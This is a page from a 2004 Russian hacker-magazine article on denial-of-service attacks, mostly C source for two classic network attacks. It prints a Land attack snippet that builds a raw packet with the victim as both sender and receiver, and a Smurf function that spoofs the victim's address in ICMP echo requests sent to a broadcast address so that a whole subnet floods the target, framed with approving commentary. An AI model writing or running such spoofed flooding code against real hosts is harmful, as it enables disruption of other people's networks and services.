Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

Удар издалека

Борис Вольфсон

Спецвыпуск: Хакер, номер #048, стр. 048-030-2


// переменные

struct sockaddr_in sin;

struct hostent * hoste;

int sock;

struct ip * ipheader=(struct ip *) buffer;

// ищем хост по имени

hoste = gethostbyname(argv[1]);

bcopy(hoste-> h_addr,&sin.sin_addr,hoste-> h_length);

// переводим номер порта в число

sin.sin_port = htons(atoi(argv[2]));

sock = socket(AF_INET, SOCK_RAW, 255);

// устанавливаем адрес отправителя и получателя

ipheader-> ip_src=sin.sin_addr;

ipheader-> ip_dst=sin.sin_addr;

// устанавливаем порт отправителя и получателя

tcpheader-> th_sport=sin.sin_port;

tcpheader-> th_dport=sin.sin_port;

// посылаем пакет

sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in);

В этом отрывке кода мы постарались показать самое главное, опустив менее важные, на наш взгляд, фрагменты. Следует обратить особое внимание на то, как устанавливается адрес/порт отправителя и получателя: они совпадают.

Существует более продвинутая и современная реализация атаки Land - La Tierra. Ее исходники также свободно распространяются в интернете.

Smurf: зомби у тебя на службе

Не всякий компьютер получается заставить уничтожить себя атакой Land: это зависит от оси. Но что если отослать ICMP-запрос от имени компьютера-жертвы, да необычный, а широковещательный (broadcast)? Такой запрос получат все машины подсети и дружно направят ответ компьютеру-жертве. Приведем одну из реализаций Smurf:

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)

{

// IP-заголовок

struct iphdr *ip;

// ICMP-заголовок

struct icmphdr *icmp;

char *packet;

packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

ip = (struct iphdr *)packet;

icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

//готовим IP-пакет

ip-> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

ip-> ihl = 5;

ip-> version = 4;

ip-> ttl = 255;

ip-> tos = 0;

ip-> frag_off = 0;

ip-> protocol = IPPROTO_ICMP;

ip-> saddr = sin.sin_addr.s_addr;

ip-> daddr = dest;

ip-> check = in_chksum((u_short *)ip, sizeof(struct iphdr));

//готовим ICMP-пакет

icmp-> type = 8;

icmp-> code = 0;

icmp-> checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

// посылаем пакет

sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,

0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

free(packet);

}

Замечание относительно широковещательных адресов: для подсети 208.131.0.0 адрес 208.131.255.255 будет широковещательным. Кстати, о работе с raw sockets (что и позволяет нам отправлять пакеты с произвольных IP) можно прочесть в статье «Препарируем IP», опубликованной в «Кодинге» Хакера, web-версия: www.xakep.ru/magazine/xa/063/116/1.asp.

Назад на стр. 048-030-1  Содержание  Вперед на стр. 048-030-3